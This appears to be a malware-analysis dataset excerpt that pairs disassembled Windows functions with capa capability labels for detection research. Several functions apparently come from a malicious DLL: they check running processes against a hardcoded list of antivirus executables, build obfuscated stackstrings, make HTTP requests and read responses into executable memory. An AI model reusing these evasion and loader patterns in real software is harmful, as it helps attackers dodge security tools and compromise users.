joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007b70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x10007c32
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10007c3d
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10007d2d
lea ecx, [ecx]
test esi, esi
jne 0x10007d07
add edi, 0x24
jmp 0x10007c70
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10007c8a
inc esi
cmp esi, 0xe
jb 0x10007c70
mov esi, dword [ebp - 4]
jmp 0x10007ce7
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x10007caf
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x100103a0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x10007cc0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x100103a0
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x10007d07
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x10007c60
cmp dword [ebp - 0xc], 0
je 0x10007d25
mov eax, dword [ebx]
cmp word [eax], 0
je 0x10007d25
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x10007d57
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007e40
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x6f004d
push eax
mov dword [ebp - 0xd8], 0x69007a
mov dword [ebp - 0xd4], 0x6c006c
mov dword [ebp - 0xd0], 0x2f0061
mov dword [ebp - 0xcc], 0x2e0035
mov dword [ebp - 0xc8], 0x200030
mov dword [ebp - 0xc4], 0x570028
mov dword [ebp - 0xc0], 0x6e0069
mov dword [ebp - 0xbc], 0x6f0064
mov dword [ebp - 0xb8], 0x730077
mov dword [ebp - 0xb4], 0x4e0020
mov dword [ebp - 0xb0], 0x200054
mov dword [ebp - 0xac], 0x2e0036
mov dword [ebp - 0xa8], 0x3b0031
mov dword [ebp - 0xa4], 0x570020
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x340036
mov dword [ebp - 0x98], 0x200029
mov dword [ebp - 0x94], 0x700041
mov dword [ebp - 0x90], 0x6c0070
mov dword [ebp - 0x8c], 0x570065
mov dword [ebp - 0x88], 0x620065
mov dword [ebp - 0x84], 0x69004b
mov dword [ebp - 0x80], 0x2f0074
mov dword [ebp - 0x7c], 0x330035
mov dword [ebp - 0x78], 0x2e0037
mov dword [ebp - 0x74], 0x360033
mov dword [ebp - 0x70], 0x280020
mov dword [ebp - 0x6c], 0x48004b
mov dword [ebp - 0x68], 0x4d0054
mov dword [ebp - 0x64], 0x2c004c
mov dword [ebp - 0x60], 0x6c0020
mov dword [ebp - 0x5c], 0x6b0069
mov dword [ebp - 0x58], 0x200065
mov dword [ebp - 0x54], 0x650047
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x29006f
mov dword [ebp - 0x48], 0x430020
mov dword [ebp - 0x44], 0x720068
mov dword [ebp - 0x40], 0x6d006f
mov dword [ebp - 0x3c], 0x2f0065
mov dword [ebp - 0x38], 0x350035
mov dword [ebp - 0x34], 0x30002e
mov dword [ebp - 0x30], 0x32002e
mov dword [ebp - 0x2c], 0x380038
mov dword [ebp - 0x28], 0x2e0033
mov dword [ebp - 0x24], 0x370038
mov dword [ebp - 0x20], 0x530020
mov dword [ebp - 0x1c], 0x660061
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x2f0069
mov dword [ebp - 0x10], 0x330035
mov dword [ebp - 0xc], 0x2e0037
mov dword [ebp - 8], 0x360033
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0x10008042
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0xdc]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008050
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x10008069
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.10007e40
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x100080a1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x1000f424
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x100081c2
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x6f0048
push eax
push edi
mov dword [ebp - 0x3c], 0x740073
mov dword [ebp - 0x38], 0x20003a
mov dword [ebp - 0x34], 0x6f0070
mov dword [ebp - 0x30], 0x69006c
mov dword [ebp - 0x2c], 0x690074
mov dword [ebp - 0x28], 0x720061
mov dword [ebp - 0x24], 0x6d006f
mov dword [ebp - 0x20], 0x6e0061
mov dword [ebp - 0x1c], 0x2e0061
mov dword [ebp - 0x18], 0x690062
mov dword [ebp - 0x14], 0x74
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x100081c2
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x100081bc
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100081c2
mov edi, edi
mov eax, dword [ebp + 8]
test eax, eax
je 0x100081c2
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 8], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10008190
jmp 0x100081c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x100082b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100083c9
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x100082e0
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100083d2
cmp edi, ebx
jae 0x100083d2
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10008367
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100083ae
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100083ae
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x100083ae
xor ecx, ecx
test edi, edi
je 0x100083a7
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x10008391
mov ebx, 1
jmp 0x100083b0
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008400
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100084f2
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x10008430
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100084fb
cmp dword [ebp - 8], ebx
jae 0x100084fb
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x100084b5
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100084d9
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100084d9
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003e86
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x10003ec5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10003ec5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10003ec5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10003ec5
cmp dword [ecx + 0x74], 0xe
jbe 0x10003ec5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10004c80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004cad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004cad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10004fd0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f730
push 0x1000f728
push str.FlsAlloc
push 0x1f
call fcn.100052b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10005004
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x1000500a
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000504e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f740
push 0x1000f738
push str.FlsGetValue
push 0x21
call fcn.100052b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10005085
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsGetValue]

Function at 0x1000508d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f748
push 0x1000f740
push str.FlsSetValue
push 0x22
call fcn.100052b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100050c7
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsSetValue]
Function at 0x10008370
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000840d
push ebx
push esi
call fcn.10008410
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10008274
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100083ba
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000840c
push edi
push eax
call fcn.10008673
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100083da
call fcn.10006580
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000840b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10008274
add esp, 0x20
test eax, eax
jne 0x100083f9
push edi
call fcn.10006580
jmp 0x10008401
push ebx
call fcn.10006580
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4013c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4013d9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4013ed
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40140e
cmp esi, eax
jae 0x4013e7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401400
cmp esi, eax
jae 0x4013e7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40395b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
je 0x4039ae
call fcn.004234ed
mov edi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebx
je 0x4039ae
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x4039a4
xor eax, eax
jmp 0x403ac7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0xc], 1
je 0x4039de
mov eax, dword [esi]
push edi
push dword [ebp - 4]
mov ecx, esi
push ebx
call dword [eax + 0x1c]
cmp dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
je 0x4039de
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x403ac4
mov ecx, dword [eax + 0x40]
and dword [ebp + 0xc], 0
test ecx, ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 8], ecx
je 0x403a0b
lea ecx, [eax + 0x3c]
lea eax, [ebp + 8]
push eax
call fcn.004040ff
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
xor eax, eax
cmp dword [edi + 8], eax
mov dword [ebp - 4], eax
jbe 0x403ac4
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x403a54
mov ecx, dword [ecx + 4]
mov edx, dword [edi + 0xc]
mov ecx, dword [ecx + 0x28]
cmp ecx, dword [edx + eax*8]
jne 0x403a54
mov eax, dword [ebp + 8]
test eax, eax
mov dword [ebp - 8], eax
je 0x403a4e
mov ecx, dword [ebx + 0x48]
lea eax, [ebp + 8]
add ecx, 0x3c
push eax
call fcn.004040ff
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x403ab4
and dword [ebp + 0xc], 0
jmp 0x403ab4
mov ecx, dword [edi + 0xc]
shl eax, 3
cmp dword [eax + ecx], 0
mov dword [ebp - 0x10], eax
je 0x403ab4
push 0xc
call fcn.0041d3e1
mov esi, eax
test esi, esi
pop ecx
je 0x403a96
mov eax, dword [edi + 0xc]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebx + 0x1c]
add eax, edx
push dword [eax]
mov edi, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
and dword [esi + 4], 0
mov dword [esi + 8], edi
mov edi, dword [ebp + 0x10]
mov dword [esi], eax
jmp 0x403a98
xor esi, esi
mov ecx, dword [ebx + 0x48]
add ecx, 0x3c
cmp dword [ebp - 8], 0
push esi
je 0x403aaf
push dword [ebp - 8]
call fcn.00418e34
jmp 0x403ab4
call fcn.00418e0b
mov eax, dword [ebp - 4]
inc eax
cmp eax, dword [edi + 8]
mov dword [ebp - 4], eax
jb 0x403a19
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40ce41
Capabilities:
Terminate process

Disassembly:
push 8
push 0x42a870
call fcn.0040e964
push 8
call fcn.004102c0
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x438f74], esi
jne 0x40ce75
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x438f70], esi
mov al, byte [ebp + 0x10]
mov byte [0x438f6c], al
cmp dword [ebp + 0xc], edi
jne 0x40cebf
cmp dword [0x43a80c], edi
je 0x40ceaf
mov eax, dword [0x43a808]
sub eax, 4
mov dword [0x43a808], eax
cmp eax, dword [0x43a80c]
jb 0x40ceaf
mov eax, dword [eax]
cmp eax, edi
je 0x40ce90
call eax
jmp 0x40ce90
push 0x432090
mov eax, 0x432088
call fcn.0040cdbf
pop ecx
push 0x43209c
mov eax, 0x432094
call fcn.0040cdbf
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x40cef0
cmp dword [ebp + 0x10], edi
jne 0x40cefe
mov dword [0x438f74], esi
push dword [ebp + 8]
call fcn.0040cd7d
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x40cefd
push 8
call fcn.0041020b
pop ecx
ret
call fcn.0040e99f
ret

Function at 0x40cf44
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40cf64
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040ebbc
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40cf87
test byte [esp + 8], 2
je 0x40cf87
call fcn.0040ebaa
mov dword [eax], 0xd
call fcn.0040ebb3
mov dword [eax], 5
jmp 0x40cf60
xor eax, eax
ret

Function at 0x40d217
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.0040d0b0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40d2b2
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x438f34]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40d2b2
cmp eax, 1
je 0x40d2d3
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40d2b2
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40d27f
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40d2ae
xor eax, eax
inc eax
jmp 0x40d2f2
cmp edi, eax
jae 0x40d2b6
xor eax, eax
jmp 0x40d2f2
cmp eax, esi
jae 0x40d2bd
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x438f34]
jmp 0x40d2d6
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d46a
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x42a8a0
call fcn.0040e964
mov edi, 0x94
mov eax, edi
call fcn.0040d0b0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x438f34], ecx
mov eax, dword [esi + 4]
mov dword [0x438f40], eax
mov edx, dword [esi + 8]
mov dword [0x438f44], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x438f38], esi
cmp ecx, 2
je 0x40d4ca
or esi, 0x8000
mov dword [0x438f38], esi
shl eax, 8
add eax, edx
mov dword [0x438f3c], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40d505
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d505
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40d51d
cmp eax, 0x20b
je 0x40d50a
mov dword [ebp - 0x1c], esi
jmp 0x40d531
cmp dword [ecx + 0x84], 0xe
jbe 0x40d505
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40d52b
cmp dword [ecx + 0x74], 0xe
jbe 0x40d505
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00410da2
pop ecx
test eax, eax
jne 0x40d545
push 0x1c
call fcn.0040d446
pop ecx
call fcn.0040fbdd
test eax, eax
jne 0x40d556
push 0x10
call fcn.0040d446
pop ecx
call fcn.004102f1
mov dword [ebp - 4], esi
call fcn.004122c2
test eax, eax
jge 0x40d56f
push 0x1b
call fcn.0040d421
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x43a800], eax
call fcn.004121a0
mov dword [0x438f78], eax
call fcn.004120fe
test eax, eax
jge 0x40d595
push 8
call fcn.0040d421
pop ecx
call fcn.00411ecb
test eax, eax
jge 0x40d5a6
push 9
call fcn.0040d421
pop ecx
push 1
call fcn.0040cdd7
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x40d5bc
push eax
call fcn.0040d421
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00411e6e
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40d5dd
movzx eax, word [ebp - 0x40]
jmp 0x40d5e0
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004184d8
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40d5fe
push edi
call fcn.0040cf04
call fcn.0040cf26
jmp 0x40d630
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0040e99f
ret